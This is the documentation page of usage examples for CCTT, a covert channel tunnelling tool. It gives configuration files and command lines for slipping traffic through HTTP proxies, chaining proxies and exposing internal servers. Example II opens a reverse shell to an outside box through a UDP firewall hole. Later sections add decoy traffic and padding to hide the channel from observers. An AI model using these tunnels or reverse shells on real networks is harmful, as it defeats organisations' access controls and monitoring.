Index
Version Francaise
Considering your local network (and access control system) scheme connected to the Internet and the CCTT functionnalities you want, here are a few examples of client/server configuration files and command line parameters you should use.
I) Pass through an HTTP Proxy network scheme to access several external services.
II) Pass through a network scheme having UDP 'holes'.
III) Use HTTP Login/Password credentials on an external Website with CCTT.
IV) Use the CCTT client only to get the Proxy Chain functionnality.
V) Reverse proxy mode concept demonstration with CCTT.
VI) HTTP Mode : Creating confusion sending/receiving unnecessary HTTP messages.
VII) HTTP Mode : Creating confusion customizing how the server looks like.
VIII) HTTP Mode : Creating confusion adding padding to channel datas.
I) Pass through an HTTP Proxy network scheme to access several external services.
A] Local network scheme
A usual local network scheme may have one way out : The HTTP Proxy... but it often allows connections to remote Web servers on TCP port 443 with the CONNECT method.
We assume that we know the proxy IP address : 192.168.1.1 and its listening port : 8080.
B] CCTT functionnalities
We want, from the local network :
* SSH access to our personnal box connected to the Internet (111.222.1.1).
* SMTP access to our personnal ISP smtp server (111.222.2.1).
* POP access to our personnal ISP pop server (111.222.2.2).
C] Configuration files
Our personnal box configuration must be :
* SSH server listening on the loopback.
* Firewall allows In/Out to our ISP smtp and pop servers.
* A restricted user (without shell, no rights) whose name is cctt.
* A chroot directory : jail.
* And finally, we must have superuser access to execute the CCTT server part.
The server configuration file (srv_exemple_1.cf) must look like the following :
PROTOCOL=tcp
IDENT=basic_ident
IDENT_KEY=simsim
SRV_SHELL_LOC=/usr/local/bin/false
SRV_SHELL_CMD=false
PROXY_MODE_LIST=ssh:127.0.0.1:22
PROXY_MODE_LIST=smtp:111.222.2.1:25
PROXY_MODE_LIST=pop:111.222.2.2:110
PROXY_ONLY=ON
PERM_USER_GROUP=cctt
PERM_CHROOT=cage
The client configuration files must look like the following :
cl_exemple_1_ssh.cf :
PROTOCOL=tcp
CHANNEL_PROXY_IP=192.168.1.1
CHANNEL_PROXY_PORT=8080
CHANNEL_PROXY_PROT=tcp
CHANNEL_PROXY_DEL=30000
IDENT=basic_ident
IDENT_KEY=simsim
PROXY_MODE_LOCAL_IP=127.0.0.1
PROXY_MODE_LOCAL_PORT=4222
PROXY_MODE_PROT=tcp
PROXY_MODE_REMOTE_IP=127.0.0.1
PROXY_MODE_REMOTE_PORT=22
cl_exemple_1_smtp.cf :
PROTOCOL=tcp
CHANNEL_PROXY_IP=192.168.1.1
CHANNEL_PROXY_PORT=8080
CHANNEL_PROXY_PROT=tcp
CHANNEL_PROXY_DEL=30000
IDENT=basic_ident
IDENT_KEY=simsim
PROXY_MODE_LOCAL_IP=127.0.0.1
PROXY_MODE_LOCAL_PORT=4225
PROXY_MODE_PROT=tcp
PROXY_MODE_REMOTE_IP=111.222.2.1
PROXY_MODE_REMOTE_PORT=25
cl_exemple_1_pop.cf :
PROTOCOL=tcp
CHANNEL_PROXY_IP=192.168.1.1
CHANNEL_PROXY_PORT=8080
CHANNEL_PROXY_PROT=tcp
CHANNEL_PROXY_DEL=30000
IDENT=basic_ident
IDENT_KEY=simsim
PROXY_MODE_LOCAL_IP=127.0.0.1
PROXY_MODE_LOCAL_PORT=42110
PROXY_MODE_PROT=tcp
PROXY_MODE_REMOTE_IP=111.222.2.2
PROXY_MODE_REMOTE_PORT=110
D] Command line parameters to run CCTT
To run the server part, we use (root account) :
cctt -s 111.222.1.1 -p 443 -f srv_exemple_1.cf -t socket_encode -L -v &
To run the client parts, we use (no root account) :
cctt -c 111.222.1.1 -d 443 -f cl_exemple_1_ssh.cf -t socket_http_proxy_encode -a &
cctt -c 111.222.1.1 -d 443 -f cl_exemple_1_smtp.cf -t socket_http_proxy_encode -a &
cctt -c 111.222.1.1 -d 443 -f cl_exemple_1_pop.cf -t socket_http_proxy_encode -a &
We have now 3 TCP ports listening on the box loopback located on the internal network :
* the 4222 port allows us to reach our Internet personnal box using the SSH protocol.
* the 4225 port allows us to reach our ISP Smtp external server.
* the 42110 port allows us to reach our ISP Pop external server.
The CCTT server is running on our Internet personnal box with restricted privileges, jailed in the 'cage' directory and is sending verbose messages to the local Syslogd.
II) Pass through a network scheme having UDP 'holes'.
A] Local network scheme
The network scheme we want to pass through is builded with a network access control system badly configured and we know that it is possible to reach, from a box of the internal network, an Internet remote server listening on the 7272 UDP port.
B] CCTT functionnalities
We want to initiate an UDP connection to the Internet remote server (111.222.1.1:7272) and bind a reverse-shell to it so that we'll have an access to the internal network from the outside box.
C] Configuration files
Our personnal box configuration must be :
* Firewall allows In/Out UDP datagrams on the 7272 port.
* A restricted user (without shell, no rights) whose name is cctt.
* A chroot directory : jail.
* And finally, we must have superuser access to execute the CCTT server part.
The server configuration file (srv_exemple_2.cf) must look like the following :
PROTOCOL=udp
IDENT=basic_ident
IDENT_KEY=simsim
SRV_SHELL_LOC=/usr/bin/false
SRV_SHELL_CMD=false
PERM_USER_GROUP=cctt
PERM_CHROOT=cage
The client configuration file (cl_exemple_2.cf) must look like the following :
PROTOCOL=udp
IDENT=basic_ident
IDENT_KEY=simsim
D] Command line parameters to run CCTT
To run the server part, we use (root account) :
cctt -s 111.222.1.1 -p 7272 -f srv_exemple_2.cf -t socket_encode -l &
To run the client part, we use (no root account) :
cctt -c 111.222.1.1 -d 7272 -f cl_exemple_2.cf -t socket_encode -r &
Using server's interactive mode, we now have access, from our Internet located box, to the internal protected network.
NB : The shell session is saved in a logfile.
III) Use HTTP Login/Password credentials on an external Website with CCTT
A] Local network scheme
The network scheme in this example is similar to the I) one, but any network scheme would have be convenient. We are specially focusing this example on the desired functionnality.
We know the HTTP proxy's IP address : 192.168.1.1 and its listening port : 8080. We also know that it is possible to use the CONNECT method.
B] CCTT functionnalities
We have to enter login/password on an Internet Website from our box located on the internal network.
The problem is : 'the remote web server doesn't have SSL enabled' and we don't want the network administrators to look at our credentials on the wire.
C] Configuration files
Our personnal box configuration must be :
* Firewall allows In/Out Tcp access to the remote Web server.
* A restricted user (without shell, no rights) whose name is cctt.
* A chroot directory : jail.
* And finally, we must have superuser access to execute the CCTT server part.
The server configuration file (srv_exemple_3.cf) must look like the following :
PROTOCOL=tcp
IDENT=basic_ident
IDENT_KEY=simsim
SRV_SHELL_LOC=/usr/local/bin/false
SRV_SHELL_CMD=false
PROXY_MODE_LIST=http:111.222.7.7:80
PROXY_ONLY=ON
PERM_USER_GROUP=cctt
PERM_CHROOT=cage
The client configuration file (cl_exemple_3.cf) must look like the following :
PROTOCOL=tcp
CHANNEL_PROXY_IP=192.168.1.1
CHANNEL_PROXY_PORT=8080
CHANNEL_PROXY_PROT=tcp
CHANNEL_PROXY_DEL=30000
IDENT=basic_ident
IDENT_KEY=simsim
PROXY_MODE_LOCAL_IP=127.0.0.1
PROXY_MODE_LOCAL_PORT=4280
PROXY_MODE_PROT=tcp
PROXY_MODE_REMOTE_IP=111.222.7.7
PROXY_MODE_REMOTE_PORT=80
D] Command line parameters to run CCTT
To run the server part, we use (root account) :
cctt -s 111.222.1.1 -p 443 -f srv_exemple_3.cf -t socket_encode -L -v &
To run the client part, we use (no root account) :
cctt -c 111.222.1.1 -d 443 -f cl_exemple_3.cf -t socket_http_proxy_encode -a &
We now configure our browser to use 127.0.0.1:4280 as the http proxy and our HTTP requests to the remote web server (including its vhosts on the same IP address) will be sent through the 'encoded' CCTT channel.
IV) Use the CCTT client only to get the Proxy Chain functionnality
A] Local network scheme
Another example with the I) network scheme but we'll stress out the idea again.
We know the IP address and the listening port of our HTTP proxy located on the internal network (192.168.1.1:8080).
We know the IP addresses of two Internet HTTP proxies allowing the CONNECT HTTP method (111.111.1.1:8080 and 222.222.2.2:8080).
We know that these 3 proxies allow connections to the 443 and 8080 remote TCP ports.
B] CCTT functionnalities
We want SSH access to our Internet located personnal box (111.222.1.1:443).
We have an SSHd server listening on this port and we think : 'NO MORE INSTALL OF ANY PROG ON OUR BOX' :)
C] Configuration files
The client configuration file (cl_exemple_4.cf) must look like the following :
PROTOCOL=tcp
CHANNEL_PROXY_IP=192.168.1.1
CHANNEL_PROXY_PORT=8080
CHANNEL_PROXY_PROT=tcp
CHANNEL_PROXY_DEL=25000
HTTP_PROXY_CHAIN=111.111.1.1:8080:25000;222.222.2.2:8080:25000
PROXY_MODE_LOCAL_IP=127.0.0.1
PROXY_MODE_LOCAL_PORT=4222
PROXY_MODE_PROT=tcp
### These ones are not used, but without them, the client won't start.
IDENT=basic_ident
IDENT_KEY=simsim
PROXY_MODE_REMOTE_IP=127.0.0.1
PROXY_MODE_REMOTE_PORT=22
D] Command line parameters to run CCTT
To run the CCTT client (no root account), we use :
cctt -c 111.222.1.1 -d 443 -f cl_exemple_4.cf -t client_only_with_http_proxy &
We now have the CCTT client listening on localhost:4222.
When this client gets a TCP connection, it initiates a connection to the first HTTP proxy, then to the second and the third, and reach our SSHd server.
At this time, we have a TCP channel between the local and the remote applications.
V) Reverse proxy mode concept demonstration with CCTT
A] Local network scheme
The network scheme in this example is similar to the I) one, but any network scheme would have be convenient. We are specially focusing this example on the desired functionnality.
We know the HTTP proxy's IP address : 192.168.1.1 and its listening port : 8080. We also know that it is possible to use the CONNECT method.
B] CCTT functionnalities
We want a remote access to the internal located Web server (192.168.2.1:80) and to the internal located SMTP server (192.168.2.2:25) from the external network.
We will allow two remote external located stations (W1 and W2) to connect to the Web server and a third one (S) to connect to the SMTP server using our CCTT server located on an external located station (C - 111.222.1.1:443).
C] Configuration files
The server configuration file (srv_exemple_5.cf) must look like the following :
PROTOCOL=tcp
IDENT=basic_ident
IDENT_KEY=simsim
SRV_SHELL_LOC=/usr/local/bin/false
SRV_SHELL_CMD=false
PROXY_ONLY=ON
PERM_USER_GROUP=cctt
PERM_CHROOT=cage
The internal located client configuration file (cl_Wint_exemple_5.cf) must look like the following to allow access to the Web server :
PROTOCOL=tcp
IDENT=basic_ident
IDENT_KEY=simsim
CHANNEL_PROXY_IP=192.168.1.1
CHANNEL_PROXY_PORT=8080
CHANNEL_PROXY_PROT=tcp
CHANNEL_PROXY_DEL=15000
PROXY_MODE_PROT=tcp
PROXY_MODE_REMOTE_IP=192.168.2.1
PROXY_MODE_REMOTE_PORT=80
The internal located client configuration file (cl_Sint_exemple_5.cf) must look like the following to allow access to the SMTP server :
PROTOCOL=tcp
IDENT=basic_ident
IDENT_KEY=simsim
CHANNEL_PROXY_IP=192.168.1.1
CHANNEL_PROXY_PORT=8080
CHANNEL_PROXY_PROT=tcp
CHANNEL_PROXY_DEL=15000
PROXY_MODE_PROT=tcp
PROXY_MODE_REMOTE_IP=192.168.2.2
PROXY_MODE_REMOTE_PORT=25
The external located client configuration file (cl_Wext_exemple_5.cf) must look like the following to allow access to the Web server :
PROTOCOL=tcp
IDENT=basic_ident
IDENT_KEY=simsim
PROXY_MODE_LOCAL_IP=@IP_W1
PROXY_MODE_LOCAL_PORT=4280
PROXY_MODE_PROT=tcp
PROXY_MODE_REMOTE_IP=192.168.2.1
PROXY_MODE_REMOTE_PORT=80
The external located client configuration file (cl_Sext_exemple_5.cf) must look like the following to allow access to the SMTP server :
PROTOCOL=tcp
IDENT=basic_ident
IDENT_KEY=simsim
PROXY_MODE_LOCAL_IP=@IP_S
PROXY_MODE_LOCAL_PORT=4225
PROXY_MODE_PROT=tcp
PROXY_MODE_REMOTE_IP=192.168.2.2
PROXY_MODE_REMOTE_PORT=25
D] Command line parameters to run CCTT
We first run the server (as root) using :
cctt -s 111.222.1.1 -p 443 -f srv_exemple_5.cf -t socket -L -v &
We then run the two internal located CCTT clients in reverse proxy mode :
cctt -c 111.222.1.1 -d 443 -f cl_Wint_exemple_5.cf -t socket_http_proxy -z &
cctt -c 111.222.1.1 -d 443 -f cl_Sint_exemple_5.cf -t socket_http_proxy -z &
=> These two internal located CCTT client record themselve into the CCTT server - configuring it to use them as proxy to access the Web and SMTP servers - and keep the connection up.
NB : The CCTT server dynamically add and remove the reverse proxy mode CCTT clients when they establish or drop a connection.
We run the two external located CCTT clients in proxy mode :
On W1, we run :
cctt -c 111.222.1.1 -d 443 -f cl_Wext_exemple_5.cf -t socket -a &
On S, we run :
cctt -c 111.222.1.1 -d 443 -f cl_Sext_exemple_5.cf -t socket -a &
=> These two clients are now waiting for application connections.
We now have two daemon listenning : One allows connections to the Web server and is listenning on @IP_W1:4280, the second one is listenning on @IP_S:4225 and allows connections to the SMTP server.
When an applicative client wants a channel to the SMTP server :
* It opens a connection to @IP_S:4225.
* The S CCTT client opens a connection to the C CCTT server and asks it a channel to the SMTP server.
* The CCTT server checks in its proxy list, finds the reverse connection to the internal located CCTT client and acts as a proxy on this connection.
* The internal located CCTT client receives datas, opens a connection to the SMTP server and acts as a proxy.
And when other SMTP or Web applicative clients want to access the internal located ressources, it is the same.
VI) HTTP Mode : Creating confusion sending/receiving unnecessary HTTP messages.
Configuration file examples are in doc/confs/http_post1. Refer to previous examples for the command line parameters.
A] Local network scheme
Any local network scheme allowing a local user to send HTTP POST requests to the outside world with or without using an intermediary HTTP proxy.
B] Presented functionnalities
The CCTT HTTP mode allow sending unnecessary HTTP POST requests beside the data channel necessary ones. These requests are sent by the CCTT client at regulary or random intervals to the CCTT server and don't carry any communication channel data. If these requests are configured into the server configuration, the CCTT server sends the related files content and this content is discarded by the CCTT client.
The data stream generated may thus increase the confusion of an eventual observer.
VII) HTTP Mode : Creating confusion customizing how the server looks like.
Configuration file examples are in doc/confs/http_post1. Refer to previous examples for the command line parameters.
A] Local network scheme
Any local network scheme allowing a local user to send HTTP POST requests to the outside world with or without using an intermediary HTTP proxy.
B] Presented functionnalities
If the CCTT server is configured as in the VI example, it can accept incoming requests from non-CCTT clients. If these requests are present into the server configuration (GET /index.html HTTP/1.0 for example), the server sends back the file content and if they are not configured, the server sends back an error page. An examples of a such page is presented here.
VIII) HTTP Mode : Creating confusion adding padding to channel datas.
Configuration file examples are in doc/confs/http_post2. Refer to previous examples for the command line parameters.
A] Local network scheme
Any local network scheme allowing a local user to send HTTP POST requests to the outside world with or without using an intermediary HTTP proxy.
B] Presented functionnalities
The HTTP mode of CCTT allows padding data at the top or at the bottom of the communication channel datas. This padding can be added to the HTTP POST requests of the client or to the HTTP responses of the server.
A padding example of an HTTP communication between a client and a server is presented here.
License :
This website and its content is part of the online documentation of CCTT - Covert Channel Tunneling Tool v0.1.7 - Copyright (C) 2002,2003 Simon Castro.
Cctt is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.
Cctt is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
You should have received a copy of the GNU General Public License along with Cctt; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA02111-1307 USA
Simon Castro Last updated on the 9th of June 2003
|